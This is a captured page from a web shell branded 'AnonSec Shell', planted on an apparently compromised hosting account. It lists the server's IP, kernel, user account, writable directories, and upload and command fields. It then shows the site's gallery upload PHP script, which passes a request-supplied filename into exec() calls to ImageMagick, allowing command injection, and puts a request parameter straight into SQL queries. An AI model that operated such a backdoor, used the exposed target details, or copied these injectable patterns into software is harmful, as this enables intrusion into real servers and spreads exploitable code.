AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.134
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/t/f/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/t/f/atfycaf/www/admin/galleryPhotosConvert.php
<?php
ob_start();

ini_set('post_max_size', '800M');
ini_set('upload_max_filesize', '800M');
ini_set('memory_limit', '800M');
ini_set('max_execution_time', '600');

error_reporting(E_ALL);
ini_set("display_errors", 1);

header('Content-Type: application/json');
include 'globalVars.php';

$myFile		= "logGallery.txt";
$dateOpened	= date("g:i:sa l jS F, Y");
$stringData	= "OPENED: $dateOpened\n\n";
$fh			= fopen($myFile, 'w');

if (isset($_GET["pU"])) {
	$fileTMP	= $SERVER_ROOT ."/admin/files/". $_GET["pU"];

	if (isset($_GET["uploadVar"])) {
		$photoDatabase	= "photoGalleryTemp";
		$galleryID		= $_GET["uploadVar"];
		$photoAlbum		= "temp";
	} else {
		$photoDatabase	= "photoGallery";
		$galleryID		= $_GET["galleryID"];

		$imageFolderQuery = mysqli_query($conn, "SELECT pageURL FROM photoGalleryCats WHERE id = '$galleryID'");
		while ($iFQ = mysqli_fetch_array($imageFolderQuery)) {
			$photoAlbum		= $iFQ["pageURL"];
		}
	}

	if (file_exists($fileTMP)) {
		$stringData	.=  "$fileTMP: OK FILE\n\n";
		$fileThumb	= $SERVER_ROOT ."/admin/files/thumbnail/". $_GET["pU"];
		$fileType	= strrchr($fileTMP, ".");
		$newPU		= str_replace($fileType, "", $_GET["pU"]);
		$fileRN		= $SERVER_ROOT ."/admin/files/". strtolower(str_replace($badURL, $goodURL, $newPU)) . $fileType;
		rename($fileTMP, $fileRN);
		$stringData	.=  "RENAMED $fileTMP TO $fileRN\n\n";
		$fileTMP	= $fileRN;
	} else {
		$stringData .=  "$fileTMP: FILE NOT THERE :o(\n\n";
	}

	if (file_exists($fileTMP)) {
		$isImage	= exif_imagetype($fileTMP);
		if ($isImage) {
			$tempFile	= mt_rand(99999, 9999999999);

			$imageURL		= $SERVER_ROOT ."/images/gallery/". $photoAlbum ."/". $tempFile .".jpg";
			$imageSuperURL	= $SERVER_ROOT ."/images/gallery/". $photoAlbum ."/". $tempFile ."-title.jpg";
			$imageThumb		= $SERVER_ROOT ."/images/gallery/". $photoAlbum ."/". $tempFile ."-thumb.jpg";
			$displayURL		= $Iurl ."gallery/". $photoAlbum ."/". $tempFile .".jpg";
			$displayTitle	= $tempFile .".jpg";

			list($width, $height)	= @getimagesize($fileTMP);
			$imgRatio				= $width/$height;
			
			$newSuperWidth	= $bgWidth;
			$newSuperHeight	= $bgWidth / $imgRatio;
			if ($newSuperHeight < $bgTitleHeight) {
				$newSuperHeight	= $bgTitleHeight;
				$newSuperWidth	= $bgTitleHeight * $imgRatio;
			}

			if ($imgRatio < 1) {
				$newHeight		= $photoGHeight;
				$newWidth		= $photoGHeight * $imgRatio;
			} else {
				$newWidth		= $photoGWidth;
				$newHeight		= $photoGWidth / $imgRatio;
			}

			$newThWidth		= $galleryThumbWidth;
			$newThHeight	= $newThWidth/$imgRatio;
			if ($newThHeight < $galleryThumbHeight) {
				$newThHeight	= $galleryThumbWidth;
				$newThWidth		= $galleryThumbWidth * $imgRatio;
			}

			$newSize		= $newWidth ."x". $newHeight;
			$newSuperSize	= $newSuperWidth ."x". $newSuperHeight;
			$newSuperCrop	= $bgWidth ."x". $bgTitleHeight ."+0+0";
			$newThSize		= $newThWidth ."x". $newThHeight;
			$newThCrop		= $galleryThumbWidth ."x". $galleryThumbHeight ."+0+0";

			exec("/usr/bin/convert -auto-orient -resize $newSuperSize -strip -quality 75 -limit thread 2 $fileTMP $imageSuperURL");
			exec("/usr/bin/convert -gravity Center -crop $newSuperCrop $imageSuperURL $imageSuperURL");

			exec("/usr/bin/convert -auto-orient -resize $newSize -strip -quality 75 -limit thread 2 $fileTMP $imageURL");

			exec("/usr/bin/convert -auto-orient -resize $newThSize -strip -quality 75 -limit thread 2 $fileTMP $imageThumb");
			exec("/usr/bin/convert -gravity Center -crop $newThCrop -limit thread 2 $imageThumb $imageThumb");

			mysqli_query($conn, "INSERT INTO ". $photoDatabase ." (galleryID, imageURL) VALUES ('$galleryID', '$displayTitle')");
			$thisPhotoID	= mysqli_insert_id($conn);

			$imageFileSize	= filesize($imageURL);
			$returnJSON		= array(
										"name"			=> $displayTitle, 
										"size"			=> $imageFileSize, 
										"url"			=> $displayURL, 
										"thumbnailUrl"	=> $displayURL, 
										"deleteUrl"		=> "galleryPhotosDelete.php", 
										"deleteType"	=> "DELETE", 
										"photoID"		=> $thisPhotoID
									); 

				$stringData .= "\n\nJSON DATA:";
				foreach($returnJSON as $jsonK => $jsonData) {
					$stringData .= "\n$jsonK";
				}
				$stringData .= "\n\n". json_encode($returnJSON);

				@unlink($fileTMP);
				@unlink($fileThumb);

		} else {
			$returnJSON	= array("error" => "true");
			@unlink($fileTMP);
			@unlink($fileThumb);
			$stringData .= "\n\n". json_encode($returnJSON);
		}
	}
	echo json_encode($returnJSON);
}

$IMout		= ob_get_clean();
$stringData	.= "\n\n". $IMout;

fwrite($fh, $stringData);
fclose($fh);

echo $IMout;
?>

Anon7 - 2022
AnonSec Team